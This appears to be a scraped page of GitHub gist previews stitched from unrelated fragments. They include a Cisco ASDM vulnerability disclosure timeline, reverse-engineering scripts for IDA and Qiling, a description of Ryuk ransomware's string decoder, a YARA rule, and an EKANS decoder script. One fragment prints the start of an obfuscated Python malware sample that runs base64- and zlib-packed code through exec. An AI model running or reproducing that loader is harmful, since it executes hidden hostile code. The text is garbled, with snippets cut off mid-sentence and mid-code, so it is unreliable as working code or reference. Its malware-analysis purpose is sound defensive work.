- 2020-12-14 - Disclosed to Cisco PSIRT
- 2021-02-09 - Incident manager assigned
- 2021-03-05 - Cisco confirmed RCE/Drive-by-download findings, confirmed not validating certs on remote is 'expected behaviour'
- 2021-07-07 - Cisco published without having gotten to delivering a fix.
- 2022-08-11 - Rapid7 / Jake Baines publish followon research - apparently the original fix for this was incomplete, and they took it a bunch further. They do credit, but fail to invite me to present at Black Hat USA/DEF CON with them ;-) https://forum.defcon.org/node/241939 and https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# Thomas Roccia | IconDhash.py | |
# pip3 install lief | |
# pip3 install pillow | |
# resource: https://www.hackerfactor.com/blog/?/archives/529-Kind-of-Like-That.html | |
import lief | |
import os | |
import argparse |
# Emulate sample to resolv obfuscated import with qiling | |
# Just one way to do it, this method is kind of slow. | |
# You need to have all the required DLL in the 'rootfs' | |
# Classic getprocaddress by hash we hook after the call | |
# read EAX and resolv the name from ql.loader.import_symbols | |
# compute the address of the mov operand | |
# generate the idapython code | |
# python3 IAT_qiling.py sample.exe | tee addr_ida.py | |
# idapython is in addr_ida.py at the end |
""" | |
Author: Matteo 'uf0' Malvica @matteomalvica | |
Tested with IDA 7.5 and Py3 | |
Original plugin: https://github.com/FSecureLABS/win_driver_plugin | |
""" | |
def getopvalue(addr): | |
"""Returns the value of the second operand to the instruction at `addr` masked to be a 32 bit value""" | |
return idc.get_operand_value(addr, 1) & 0xffffffff |
## uploaded by @JohnLaTwC | |
## sample hash: b06fa24126eb1d6ed670fea4ea4252e4a8f4a460a2c3c7727d82eb1216fc4937 | |
import zlib, base64 | |
exec(zlib.decompress(base64.b64decode('eJzs3fuT5Xd95/ff9Vd0DbU1UiyL7j6X7iOXqsJabIWyYQksu9nYW67RTCN6PepRpmfAxOUqgQChlQyDkHUBLGZ0GdBldAex3PxvOLB2ycUGY2Crz5+QM7qgsCZU8kPmPM/3PFKpxOYihO3Ha8S3P+957t9x55mz5zbO7v1v5/cOzx3eeG7/jr0bD8/fdufZMyf3Dg9vPPzk4Y1nDq+bX7j4yPzC00/On/jB38yfeuGl+YXLl+YPf+fe+YXn7ppfePn5+Te/8NT80uUH/+7F+WNPfGZ+8bUvzC+8+JX5c9/5xvzil7/8kwsPzy+9dt/Ra3fPH//ep+fPv/CZ+YVn7p5f+Oar8wuffvkn3/ra/MKlL/34hcUf7NH5Y9+9d/70F5/5P7/17NErX51fePChf3r2nvljT352/vhX/2r+yN3f/y8X50994+vzC99/8OjKd35+9wvziw/eO3/2ycvzbz68+PsfeWrxj33i75+YP3fPQ/NHvvbln7/y1b99cf7wQ5+fP3bptfmVR742v3jp7qPvvji//K3X/ttnfjB/5K5L8yce/Zv/8o0fPT2/cOW++WPfuf/ohR/Mn/z0Dxf/Dr/+o2/Pn/zB1+ZPPffD+dPPvfr6M/f84oc/mF948pXFn/0Di3+de+dX/vLBX9z19Pzi5a/84q5v/OyRR39+92fmD3/v8uLvu7T4Q31r/sRn7/vpF58/euWef3rupb/77vyxp+7+0Vfml569e/7Y49/7r5975Oj5h+YX/vqv/u7Rn33nO0evXpk/ffnC/MIrX58/98A98yf+6sr8m99+7Kffvfz3n/pv9z4yf/Lxexf/rJfmT375Uz978cn5Ny4/sPif8 |
Recent variants of Ryuk have had their code cleaned up. They removed non-referenced strings that are relics from the HERMES source code days. One interesting part of the code clean-up is a new string decoder. The string decoder is the first MD5 brute forcer that I have observed in malware. It's an interesting technique because it is a computational attack that delays execution of Ryuk before the strings are decoded in memory. The decoding of strings happens in two phases. The first phase uses a hardcoded lookup table that is to decode API names. Once the API names are decrypted, they are dynamically imported and then used to recover the original string from an MD5 hash. After the original string is discovered, each byte of the string is hashed and then the hash is MD5ed, then the hexdigest contents are appended to a string. Each byte within the appended MD5 strings is used to create a second lookup table which is then used to decrypt strings.
Example Python code of the MD5 Brutef
rule XOREngine_HTTP | |
{ | |
meta: | |
author = "smiller" | |
description = "This looks for brute XOR of http:// in a PE." | |
ref = "578cb44b784125ebd58ecb458d51b23d" | |
strings: | |
$key_01 = { 69 75 75 71 3b 2e 2e } | |
$key_02 = { 6a 76 76 72 38 2d 2d } | |
$key_03 = { 6b 77 77 73 39 2c 2c } |
Script and the decoded strings from the EKANS/Snake ransomware. Original script written by @sysopfb - I've only modified the regexp to cover all cases where decryption was used in the sample.
Script:
import re
import sys
import pefile
import struct
""" | |
The script generates and prints a graph of all function-call flows that start in exported functions and end | |
in the function being pointed at in IDA. | |
This functionality is useful when you need to trigger a function in a DLL and wish to know which exported function | |
leads to it. | |
""" | |
import idaapi | |
import idautils | |
import idc |
SYSCALL_OPCODE = '\xCD\x80' | |
REGULAR_COMMENT = 0 # as opposed to a repeatable one | |
def get_syscalls_addresses(): | |
return (h for h in Heads() if SYSCALL_OPCODE == GetManyBytes(h, ItemSize(h))) | |
def get_syscall_name_from_addr(addr): | |
# Fetch the syscall name from IDA's automatic comment |